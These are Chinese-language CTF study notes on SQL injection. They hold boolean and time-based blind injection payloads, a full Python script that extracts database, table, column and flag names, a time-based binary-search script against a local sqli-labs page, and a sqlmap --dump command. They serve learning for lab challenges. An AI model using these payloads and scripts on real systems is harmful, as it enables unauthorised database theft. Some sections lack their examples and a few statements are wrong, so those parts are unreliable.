CTF SQL注入学习笔记

部分内容来自于SQL注入由简入精_哔哩哔哩_bilibili

SQL语句

1.mysqli_error()：返回最近调用函数的最后一个错误描述

语法：mysqli_error(connection ) 规定要使用的Mysql连接*;*

返回一个带有错误描述的字符串。如果没有错误发生则返回 ""

2.mysqli_errno() ：函数返回最近调用函数的最后一个错误代码。

语法：mysqli_errno(connection );

返回错误代码值。如果没有错误发生则返回 0。

3.mysqli_fetch_array()：从结果集中取得一行作为数字数组或关联数组

语法：mysqli_fetch_array(result,resulttype );

返回与读取行匹配的字符串数组。如果结果集中没有更多的行则返回 NULL。

4.mysqli_connect（）：打开一个到 MySQL 服务器的新的连接

语法：mysqli_connect(host,username,password,dbname,port,socket );

返回值：回一个代表到 MySQL 服务器的连接的对象。

5.mysqli_query（）：执行对数据库的查询

语法：mysqli_query(connection,query,resultmode );

参数	描述
connection	必需。规定要使用的 MySQL 连接。
query	必需，规定查询字符串。
resultmode	可选。一个常量。可以是下列值中的任意一个： * MYSQLI_USE_RESULT（如果需要检索大量数据，请使用这个） * MYSQLI_STORE_RESULT（默认）

返回值：针对成功的 SELECT、SHOW、DESCRIBE 或 EXPLAIN 查询，将返回一个 mysqli_result 对象。针对其他成功的查询，将返回 TRUE。如果失败，则返回 FALSE。

|-----------------|---------------------------------|
| 字段 | 含义 |
| Table_catalog | 数据表登记目录 |
| Table_schema | 数据表所属的数据库名 |
| Table_name | 表名称 |
| Table_type | 表类型[system view|base table] |
| Engine | 使用的数据库引擎[MyISAM|CSV|InnoDB] |
| Version | 版本，默认值10 |
| Row_format | 行格式[Compact|Dynamic|Fixed] |
| Table_rows | 表里所存多少行数据 |
| Avg_row_length | 平均行长度 |
| Data_length | 数据长度 |
| Max_data_length | 最大数据长度 |
| Index_length | 索引长度 |
| Data_free | 空间碎片 |
| Auto_increment | 做自增主键的自动增量当前值 |
| Create_time | 表的创建时间 |

|-----------------|-----------|
| Table_collation | 表的字符校验编码集 |
| Checksum | 校验和 |
| Create_options | 创建选项 |
| Table_comment | 表的注释、备注 |

PHP过滤语句

php 复制代码

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

代码功能概述

这段代码使用 preg_match 函数 来进行正则表达式匹配操作。它旨在检查变量 $inject 所存储的字符串中是否包含了指定的一些敏感或特定的 SQL 关键字 （如 "select"、"update"、"delete"、"drop"、"insert"、"where"）以及 .（点号，可能用于匹配表名等涉及的点连接情况等），并且匹配操作是不区分大小写的（由正则表达式最后的 i 修饰符指定）。

如果在 $inject 字符串中找到了符合上述正则表达式模式的内容，preg_match 函数会返回匹配到的次数（通常如果匹配成功至少返回 1），如果没有匹配到，则返回 0。

代码示例及可能返回值说明

以下是一个简单的示例代码片段，展示如何使用它并理解返回值：

php 复制代码

<?php
$inject = "SELECT * FROM users"; // 这里模拟一个可能包含敏感关键字的输入字符串
$result = preg_match("/select|update|delete|drop|insert|where|\./i", $inject);
if ($result) {
    echo "检测到可能存在风险的 SQL 关键字";
} else {
    echo "未检测到风险关键字";
}
?>

在上述示例中，由于 $inject 字符串中包含了 "SELECT"（因为匹配是不区分大小写的，能匹配到正则表达式中的 "select" 部分），所以 $result 的值会为 1，从而会输出 "检测到可能存在风险的 SQL 关键字"。

TABLE_SCHEMA ---->所有数据库的库名

TABLE_NAME ---->所有表的表名

SQL整数型注入/字符型注入

判断是数字型注入还是字符型注入：【字符型需要''闭合符，而数字型不用】

方法一：提交 and 1=1和提交 and 1=2 都能正常显示界面 ===>字符型注入

方法二：提交 id=1和提交id=2-1界面相同 ===>数字型注入（数字可以运算）

方法三：id=1后面随便跟一大堆字母，有回显就是字符型，没回显就是数字型

注释符号："--+"//"#"//"%23"

网页往往有时候只能显示第一行内容

查询列数：group by：不会被防火墙发现

order by

【知道是什么类型的】-->【知道有几列】-->【知道存放重要信息的那个数据库名字叫啥】

-->【知道那个重要的数据库里头需要找的表名字叫啥】-->【知道每一列列名叫啥】-->【把那个列

名打印出来】

弄明白你要找的那个表名是啥：

table_schema='security'

（库名是security）表示限制information_schema.tables这个表的列是security

下面是information_schema.table（数据库里头table这个表具体长什么样子），这个表主要存放其他所有表的信息，包括其他表的表名，那些表都来自于哪个库......

group_concat(table_name) 将所有table_name集中到一行显示

弄明白你要查的那个叫users的表里头，每一列都是什么名字

精准定位：where 库名叫security，表名叫users

查询最终账号与密码

因为我们已经在security这个库里头了，而users这个表就在这个库中，所以我们可以直接写

from users

sql注入常用函数：

（1）user() 返回当前使用数据库的用户，也就是网站配置文件中连接数据库的账号

（2）version() 返回当前数据库的版本

（3）database() 返回当前使用的数据库，只有在use命令选择一个数据库之后，才能查到

（4）group_concat() 把数据库中的某列数据或某几列数据合并为一个字符串

（5）@@datadir 数据库路径

（6）@@version_compile_os 操作系统版本

MySQL系统库：

information_schema库：是信息数据库，存放MySQL服务器所维护的所有其他数据库的信息（例如数据库或者表的名称，列的数据类型或者访问权限）

SCHEMATA表：提供了当前MySQL所有数据库的信息，show database 的结果取之此表

TABLES表：提供了关于数据中表的信息

COLUMNS表：提供了关于表中列的信息，详细描述了一张表中所有列以及每个列的信息

例：select column_name from columns：在column库里面查询所有表的名字

查看当前数据库的库名：show database() 不是databases！

查询当前登录数据库的用户：select user()

查询数据路径 select @@datadir

报错注入

1.extractvalue()报错：

extractvalue()：只有两个参数

如果把参数路径写错，则会报错，但是查询不到内容

所以需要把查询参数格式写错： 0x7e表示~，目的在于引起报错

concat()：拼接函数

例：select concat(1,2) ===>12

但是extractvalue()报错一次只能显示32个字符：

子串函数substring()，一次看一截，然后拼接起来

2.updatexml()报错：用来更新数据

查询数据库中表的名字：

查询列的名字：

在这个表中显示列的内容：

注意：显示的时候为了更清晰，可以在中间加上" ："

用substring() 函数拼接起来：

看1~30的字符：

看31~59的字符：

注意括号！括号啊！

3.floor报错注入：一次可以查看64位

涉及到的函数：

rand()函数：随即返回0~1之间的小数

floor()函数：小数向下取整数；向上取整数：ceiling()

concat_ws()函数：将两块拼接，中间用自定义的符号连接

as：别名

count()函数：汇总统计数量；

关于limit()和substr()：

limit：这里用来显示指定行数，limit 0,1：从第0行开始，依次显示1行

limit 1,1：从第1行开始，依次显示1行

显示结果：users表有多少行，rand就显示多少随机数

报错流程：

查询表名：

查询列名：

布尔盲注

ascii()：转化成ascii码

测试数据库名的长度

测试语句：1 and length(database())=x #

1、猜测表的数量

1 and (select count(table_name) from information_schema.tables where table_schema='sqli')=x # 注：x为任意正整数（1,2,3,4,5.......）

通过测试得到表的数量为2。

2、猜测表的长度

1 and length(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1))=x # 注：x为任意正整数（1,2,3,4,5.......）

通过测试得到第一个表的长度为4

1 and length(substr((select table_name from information_schema.tables where table_schema='sqli' limit 1,1),1))=x # 注：x为任意正整数（1,2,3,4,5.......）

通过测试得到第二个表的长度为4

Python脚本编写

python 复制代码

#导入库
import requests

#设定环境URL，由于每次开启环境得到的URL都不同，需要修改！
url = ''
#作为盲注成功的标记，成功页面会显示query_success
success_mark = "query_success"
#把字母表转化成ascii码的列表，方便便利，需要时再把ascii码通过chr(int)转化成字母
ascii_range = range(ord('a'),1+ord('z'))
#flag的字符范围列表，包括花括号、a-z，数字0-9
str_range = [123,125] + list(ascii_range) + list(range(48,58))

#自定义函数获取数据库名长度
def getLengthofDatabase():
	#初始化库名长度为1
    i = 1
    #i从1开始，无限循环库名长度
    while True:
        new_url = url + "?id=1 and length(database())={}".format(i)
        #GET请求
        r = requests.get(new_url)
        #如果返回的页面有query_success，即盲猜成功即跳出无限循环
        if success_mark in r.text:
        	#返回最终库名长度
            return i
        #如果没有匹配成功，库名长度+1接着循环
        i = i + 1

#自定义函数获取数据库名
def getDatabase(length_of_database):
	#定义存储库名的变量
    name = ""
    #库名有多长就循环多少次
    for i in range(length_of_database):
    	#切片，对每一个字符位遍历字母表
    	#i+1是库名的第i+1个字符下标，j是字符取值a-z
        for j in ascii_range:
            new_url = url + "?id=1 and substr(database(),{},1)='{}'".format(i+1,chr(j))
            r = requests.get(new_url)
            if success_mark in r.text:
            	#匹配到就加到库名变量里
                name += chr(j)
                #当前下标字符匹配成功，退出遍历，对下一个下标进行遍历字母表
                break
    #返回最终的库名
    return name

#自定义函数获取指定库的表数量
def getCountofTables(database):
	#初始化表数量为1
    i = 1
    #i从1开始，无限循环
    while True:
        new_url = url + "?id=1 and (select count(*) from information_schema.tables where table_schema='{}')={}".format(database,i)
        r = requests.get(new_url)
        if success_mark in r.text:
        	#返回最终表数量
            return i
        #如果没有匹配成功，表数量+1接着循环
        i = i + 1

#自定义函数获取指定库所有表的表名长度
def getLengthListofTables(database,count_of_tables):
	#定义存储表名长度的列表
	#使用列表是考虑表数量不为1，多张表的情况
    length_list=[]
    #有多少张表就循环多少次
    for i in range(count_of_tables):
    	#j从1开始，无限循环表名长度
        j = 1
        while True:
        	#i+1是第i+1张表
            new_url = url + "?id=1 and length((select table_name from information_schema.tables where table_schema='{}' limit {},1))={}".format(database,i,j)
            r = requests.get(new_url)
            if success_mark in r.text:
            	#匹配到就加到表名长度的列表
                length_list.append(j)
                break
            #如果没有匹配成功，表名长度+1接着循环
            j = j + 1
    #返回最终的表名长度的列表
    return length_list

#自定义函数获取指定库所有表的表名
def getTables(database,count_of_tables,length_list):
    #定义存储表名的列表
    tables=[]
    #表数量有多少就循环多少次
    for i in range(count_of_tables):
    	#定义存储表名的变量
        name = ""
        #表名有多长就循环多少次
        #表长度和表序号（i）一一对应
        for j in range(length_list[i]):
        	#k是字符取值a-z
            for k in ascii_range:
                new_url = url + "?id=1 and substr((select table_name from information_schema.tables where table_schema='{}' limit {},1),{},1)='{}'".format(database,i,j+1,chr(k))
                r = requests.get(new_url)
                if success_mark in r.text:
                	#匹配到就加到表名变量里
                    name = name + chr(k)
                    break
        #添加表名到表名列表里
        tables.append(name)
    #返回最终的表名列表
    return tables

#自定义函数获取指定表的列数量
def getCountofColumns(table):
	#初始化列数量为1
    i = 1
    #i从1开始，无限循环
    while True:
        new_url = url + "?id=1 and (select count(*) from information_schema.columns where table_name='{}')={}".format(table,i)
        r = requests.get(new_url)
        if success_mark in r.text:
        	#返回最终列数量
            return i
        #如果没有匹配成功，列数量+1接着循环
        i = i + 1

#自定义函数获取指定库指定表的所有列的列名长度
def getLengthListofColumns(database,table,count_of_column):
	#定义存储列名长度的变量
	#使用列表是考虑列数量不为1，多个列的情况
    length_list=[]
    #有多少列就循环多少次
    for i in range(count_of_column):
        #j从1开始，无限循环列名长度
        j = 1
        while True:
            new_url = url + "?id=1 and length((select column_name from information_schema.columns where table_schema='{}' and table_name='{}' limit {},1))={}".format(database,table,i,j)
            r = requests.get(new_url)
            if success_mark in r.text:
            	#匹配到就加到列名长度的列表
                length_list.append(j)
                break
            #如果没有匹配成功，列名长度+1接着循环
            j = j + 1
    #返回最终的列名长度的列表
    return length_list

#自定义函数获取指定库指定表的所有列名
def getColumns(database,table,count_of_columns,length_list):
	#定义存储列名的列表
    columns = []
    #列数量有多少就循环多少次
    for i in range(count_of_columns):
        #定义存储列名的变量
        name = ""
        #列名有多长就循环多少次
        #列长度和列序号（i）一一对应
        for j in range(length_list[i]):
            for k in ascii_range:
                new_url = url + "?id=1 and substr((select column_name from information_schema.columns where table_schema='{}' and table_name='{}' limit {},1),{},1)='{}'".format(database,table,i,j+1,chr(k))
                r = requests.get(new_url)
                if success_mark in r.text:
                	#匹配到就加到列名变量里
                    name = name + chr(k)
                    break
        #添加列名到列名列表里
        columns.append(name)
    #返回最终的列名列表
    return columns

#对指定库指定表指定列爆数据（flag）
def getData(database,table,column,str_list):
	#初始化flag长度为1
    j = 1
    #j从1开始，无限循环flag长度
    while True:
    	#flag中每一个字符的所有可能取值
        for i in str_list:
            new_url = url + "?id=1 and substr((select {} from {}.{}),{},1)='{}'".format(column,database,table,j,chr(i))
            r = requests.get(new_url)
            #如果返回的页面有query_success，即盲猜成功，跳过余下的for循环
            if success_mark in r.text:
            	#显示flag
                print(chr(i),end="")
                #flag的终止条件，即flag的尾端右花括号
                if chr(i) == "}":
                    print()
                    return 1
                break
        #如果没有匹配成功，flag长度+1接着循环
        j = j + 1

#--主函数--
if __name__ == '__main__':
	#爆flag的操作
	#还有仿sqlmap的UI美化
    print("Judging the number of tables in the database...")
    database = getDatabase(getLengthofDatabase())
    count_of_tables = getCountofTables(database)
    print("[+]There are {} tables in this database".format(count_of_tables))
    print()
    print("Getting the table name...")
    length_list_of_tables = getLengthListofTables(database,count_of_tables)
    tables = getTables(database,count_of_tables,length_list_of_tables)
    for i in tables:
        print("[+]{}".format(i))
    print("The table names in this database are : {}".format(tables))

	#选择所要查询的表
    i = input("Select the table name:")

    if i not in tables:
        print("Error!")
        exit()

    print()
    print("Getting the column names in the {} table......".format(i))
    count_of_columns = getCountofColumns(i)
    print("[+]There are {} tables in the {} table".format(count_of_columns,i))
    length_list_of_columns = getLengthListofColumns(database,i,count_of_columns)
    columns = getColumns(database,i,count_of_columns,length_list_of_columns)
    print("[+]The column(s) name in {} table is:{}".format(i,columns))

	#选择所要查询的列
    j = input("Select the column name:")

    if j not in columns:
        print("Error!")
        exit()

    print()
    print("Getting the flag......")
    print("[+]The flag is ",end="")
    getData(database,i,j,str_range)

知识点：

1.ord('a'):将字符a转换成ascii码形式

python 复制代码

str_range = [123,125] + list(ascii_range) + list(range(48,58))

$123, 125\]，这是包含两个整数元素 123 和 125 的列表。$

3.list()和range()的区别：

for i in range(5):，这里i会依次取 0、1、2、3、4。还可以指定起始值、结束值和步长，如range(2, 10, 2)，它会生成从 2 开始，小于 10，步长为 2 的整数序列，即2, 4, 6, 8。

list()：append用于在列表末尾添加元素，pop用于删除并返回指定索引的元素等。

可以很容易地将range对象转换为列表。例如，list(range(5))会将range(0, 5)这个对象转换为[0, 1, 2, 3, 4]列表。

list的切片操作：

list[start:stop:step]，其中start是切片的起始索引（包含该索引对应的元素），stop是切片的结束索引（不包含该索引对应的元素），step是步长，即每次选取元素的间隔。这三个参数都是可选的

chr()是一个内置函数。它的主要作用是将一个整数（代表 Unicode 码点）转换为对应的字符

时间盲注

python脚本

python 复制代码

import time
import requests
 
url = 'http://127.0.0.1/sqli-labs-master/less-9/index.php'
 
def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
 
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)
 
inject_database(url)

具体解析：

mid=(low+high)//2 :整除并向下取整数如：7//2=3

payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid) 语句部分

字符串拼接与格式化 ：
这是在构建一个用于发送请求的 payload（有效载荷，在这里可以理解为构造的带有恶意意图的 SQL 语句部分）。% 操作符在这里用于字符串的格式化，(i, mid) 是要填充到前面字符串中 %d 占位符位置的值。 i 和 mid 应该是在代码前面部分定义好的整数变量，每次循环时将它们的值按照顺序替换到字符串相应位置。

if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)：这是一个条件判断表达式，意思是如果刚才获取到的那个字符的 ASCII 码值大于 mid（%d 会被 mid 替换）这个值，就执行 sleep(1)，也就是让数据库休眠 1 秒钟（这会导致整个请求响应时间变长），如果不大于，就返回 0（不会造成明显的时间延迟）。最后整个构造的语句后面跟着 -- ，这通常是 SQL 中的注释符，用于注释掉后面可能多余的语句，避免影响前面构造语句的执行逻辑。
start_time = time.time() 和 end_time = time.time() 语句部分
这是在利用 Python 的 time 模块记录时间。time.time() 函数会返回从 1970 年 1 月 1 日 00:00:00 UTC 到当前时间的秒数（时间戳）。先是在发送请求前记录了开始时间 start_time，然后在请求结束后记录了结束时间 end_time，目的是通过计算两者差值来判断请求花费的时间。

关于params：

在 Python 的requests库中，params是一个用于在发送 GET 请求时传递查询参数的参数。当你发送一个 GET 请求到一个 URL 时，查询参数通常是跟在 URL 后面的键值对，用于向服务器提供额外的信息，以影响服务器返回的内容。
例如，如果你有一个 URLhttp://example.com/api?key1 = value1&key2 = value2，这里的key1 = value1和key2 = value2就是查询参数。在requests库中，你可以使用params来构建这样的查询参数。
以下是一个简单的示例：
在这个示例中，requests.get函数中的params参数接收一个字典（{"city": "New York", "date": "2024-12-21"}），这个字典的键（city和date）是查询参数的名称，值（New York和2024-12-21）是对应的参数值。当请求发送时，requests库会自动将这些参数编码并附加到url后面，形成一个完整的带有查询参数的 URL，类似http://weather - api.com/query?city = New York&date = 2024-12-21，然后发送这个请求。
假设我们要查询一个天气 API，查询参数可能包括城市名称（city）和日期（date）

python 复制代码

import requests
url = "http://weather-api.com/query"
params = {"city": "New York", "date": "2024-12-21"}
r = requests.get(url, params=params)
print(r.url)

在本例中：

python 复制代码

 payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)

sqlmap工具

sql 复制代码

sqlmap -u 'http://xx/?id=1' -D 'sqli' -T 'flag' -C 'flag' --dump

-u：这个参数用于指定目标 URL。
-D：用于指定数据库名称。这里指定的数据库名称是sqli，sqlmap会将后续的操作聚焦在这个数据库上。
-T：指定数据库中的表名称。在这个命令中，表名称是flag，表示sqlmap将尝试从这个名为flag的表中获取数据。
-C：用于指定表中的列名称。这里的列名称是flag，这意味着sqlmap主要是想从flag表的flag列中提取数据。
--dump：这是sqlmap的一个重要操作命令。它告诉sqlmap将从指定的列（由-C指定）中提取数据并显示出来。这个过程实际上是利用了 SQL 注入漏洞（如果存在的话）来获取数据库中的敏感信息。例如，这些敏感信息可能包括用户账号、密码、配置信息等。